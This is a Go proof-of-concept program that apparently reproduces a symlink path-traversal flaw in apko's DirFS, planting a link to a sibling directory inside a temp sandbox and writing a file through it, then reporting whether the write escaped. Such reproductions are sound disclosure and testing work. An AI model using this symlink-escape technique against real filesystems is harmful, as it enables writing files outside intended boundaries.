package main

import (
	"context"
	"encoding/json"
	"fmt"
	"os"
	"path/filepath"

	apkfs "chainguard.dev/apko/pkg/apk/fs"
)

type Report struct {
	Sandbox     string `json:"sandbox"`
	BaseDir     string `json:"base_dir"`
	OutsideDir  string `json:"outside_dir"`
	OutsideFile string `json:"outside_file"`
	WriteError  string `json:"write_error,omitempty"`
	FileExists  bool   `json:"file_exists"`
	FileContent string `json:"file_content,omitempty"`
}

func main() {
	if len(os.Args) != 2 {
		fmt.Fprintln(os.Stderr, "usage: repro <report.json>")
		os.Exit(1)
	}
	reportPath := os.Args[1]

	sandbox, err := os.MkdirTemp("", "apko-repro-")
	if err != nil {
		fmt.Fprintf(os.Stderr, "mkdir temp: %v\n", err)
		os.Exit(1)
	}
	defer os.RemoveAll(sandbox)

	base := filepath.Join(sandbox, "base")
	outside := filepath.Join(sandbox, "outside")
	os.MkdirAll(outside, 0755)
	os.MkdirAll(base, 0755)

	ctx := context.Background()
	fsys := apkfs.DirFS(ctx, base, apkfs.WithCreateDir())
	if fsys == nil {
		fmt.Fprintln(os.Stderr, "failed to create dirfs")
		os.Exit(1)
	}

	// Plant a symlink inside base pointing to the outside directory
	if err := fsys.Symlink("../outside", "evil"); err != nil {
		fmt.Fprintf(os.Stderr, "symlink: %v\n", err)
		os.Exit(1)
	}

	// Attempt to write through the planted symlink
	writeErr := fsys.WriteFile("evil/pwned", []byte("malicious-content"), 0644)

	outsideFile := filepath.Join(outside, "pwned")
	_, statErr := os.Stat(outsideFile)

	r := Report{
		Sandbox:     sandbox,
		BaseDir:     base,
		OutsideDir:  outside,
		OutsideFile: outsideFile,
		FileExists:  statErr == nil,
	}
	if writeErr != nil {
		r.WriteError = writeErr.Error()
	}
	if statErr == nil {
		content, _ := os.ReadFile(outsideFile)
		r.FileContent = string(content)
	}

	j, _ := json.MarshalIndent(r, "", "  ")
	os.WriteFile(reportPath, j, 0644)
}
